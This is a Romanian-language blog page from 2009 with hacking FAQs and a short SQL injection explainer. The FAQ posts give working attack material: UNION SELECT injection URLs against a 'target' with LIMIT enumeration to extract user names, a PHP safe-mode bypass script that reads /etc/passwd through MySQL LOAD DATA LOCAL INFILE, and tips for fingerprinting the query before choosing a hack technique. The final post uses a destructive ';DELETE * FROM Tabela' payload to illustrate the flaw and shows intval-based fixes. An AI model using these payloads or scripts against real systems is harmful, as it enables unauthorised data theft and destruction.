RicH and FamouS

       Home         Glosar IT                                                                                                                                                                                                              SUBSCRIBE NOW!
        
Se afișează postările cu eticheta SQL. Afișați toate postările
Se afișează postările cu eticheta SQL. Afișați toate postările

25.06.2009

FAQs - №3

Problema: Este posibil oare ca în programele create în Java să se supraîncarce buffer-ul?

Rezolvare: Nu. Verificatorul bytecode-ului ( bytecode verifier ) scanează bytecode-urile, extrăgînd informaţia despre tipul obiectelor în fiecare punct de executare a fragmentului de cod. Maşina virtuală Java protejează de ieşirea "peste hotarele" memoriei acordate - se face excluderea, cu toate aceste codul introdus nu va fi executat. Nu se poate întîmpla supraîncărcarea sau stack-ului, parametrii pentru instruirea byte-maşinii are tipul necesar, iar permisiunea către cîmpurile şi metodele obiectelor nu încalcă declaraţiile în clasele de reguli (public, private, protected).

_____________________________________________________

Problema: Fac o injectie, însă la ieşire nimic nu se primeste, dar ştiu 100% că boxele există?

Rezolvare: Se pare că trebuie utilizat operatorul LIMIT. Dacă cererea iniţială arată cam în felul următor:
http://target/script.php?p=-1 union select 1,2,user,4 from users/*
atunci adaugă limit şi încearcă (enumeră) n-urile:
http://target/script.php?p=-1 union select 1,2,user,4 from users limit n,1/*
unde n de la 0 la 9.

20.06.2009

FAQs - №2

Problema: Cum pot trece peste Safe-mode în ultimile versiuni PHP?

Rezolvare: Iată unele scripturi, care te vor ajuta să citeşti conţinutul file-urilor şi a fişierelor în sistemă atunci cînd e activat safe-mode: PHP <=4.4.7/5.2.3MySQL/MySQLi Safe Mode Bypass Vulnerability
Cod:
<_?php
file_get_contents('/etc/passwd');
$1 = mysql_connect("localhost","root");

mysql_query("CREATE DATABASE a");
mysql_query("CREATE TABLE a.a (a varchar(1024))");
mysql_query("GRANT SELECT, INSERT ON a.a TO 'aaaa'@'localhost' ");
mysql_close($1);
mysql_connect("localhost", "aaaa");
mysql_query("LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE a.a");
$result = mysql_query("SELECT a FROM a.a");
while(list($row) = mysql_fetch_row($result))

print $row . chr(10);
?>
P.S. Linia _ din cod se elimina

_____________________________________________________

Problema: Cum pot depista că SQL-Injecţia se află anume în cererea SELECT, dar nu în cererea DELETE, UPDATE sau altele?

Rezolvare: Pentru aceasta se poate de încercat de pus la sfîrşitul cererei operatorul LIMIT. Lipsa errorii ne va comunica despre, faptul ca serverul lucrează cu MySQL (deoarece, precum ştim, LIMIT - nu e standartul Structured Query Language) şi, desigur, despre faptul că acolo întradevăr figurează operatorul SELECT. Însă în cazul în care nu e MySQL, atunci utilizatorul care atacă poate să încerce să pună GROUP BY 1 sau HAVING 1=1 - cereri, care se referă către standartul limbajului SQL şi care lucrează doar în operatorul SELECT. Aceste 2 metode pot afla tipul cererii şi pot stabili care va fi tehnica de hack mai departe a resursei.

10.04.2009

SQL injection

Una dintre cele mai grave probleme de securitate web este SQL injection. Simplu spus, este posibilitatea executarii de comenzi SQL prin alterarea parametrilor paginilor. Problema este grava pentru ca altereaza date permanent salvate in baze de date care pot varia de la caz la caz: nume, parole, date confidentiale, chiar credit carduri, etc.

SQL injection apare datorita neverificarii parametrilor utilizati in comenzi SQL. De exemplu sa presupunem ca avem (pagina.xxx):

- PHP:
<?php ...
mysql_query("SELECT * FROM Tabela WHERE id=".$_GET['id']);
... ?>

- ASP:
<% ...
conexiune.Execute "SELECT * FROM Tabela WHERE id=" & Request.QueryString("id")
... %>

Pentru aceste cazuri daca cineva in loc de pagina.xxx?id=1 cheama
pagina.xxx%3Fid%3D1%3BDELETE+%2A+FROM+Tabela
ceea ce inseamna
pagina.xxx?id=1;DELETE * FROM Tabela
Surpriza o sa fie de proportii.

In acest fel se pot executa si alte comenzi SQL nu doar DELETE.

Intervin citeva probleme:
- Trebuie cunoscut numele tabelelor sau cimpurilor sau gasite comenzi SQL care nu depind de numele tabelelor (folosit la modul general sau tabelele standard ale bazei de date)
- Pagina web sa nu faca nici un fel de verificari a parametrilor.

Dupa cum se poate vedea toata aceasta problema dispare daca avem:

- PHP:
<?php ...
mysql_query("SELECT * FROM Tabela WHERE id=".intval($_GET['id']));
... ?>

- ASP:
<% ...
conexiune.Execute "SELECT * FROM Tabela WHERE id=" & val(Request.QueryString("id"))
... %>

Mai trebuie facuta o observatie: parametri alterati pot veni nu doar din URL (GET) ci si POST sau cookie sau chiar valori inregistrate in baza de date pt. diverse informatii (semnatura alterata, adresa, etc.)

Asa ca orice web developer constient de posibilele probleme puse de SQL injection si care ia masuri impotriva acestei probleme le poate evita relativ usor.
Be Happy!!

    Blog din Moldova    FastCounter 

 
Copyright © 2008-2010 Foster1. All rights reserved.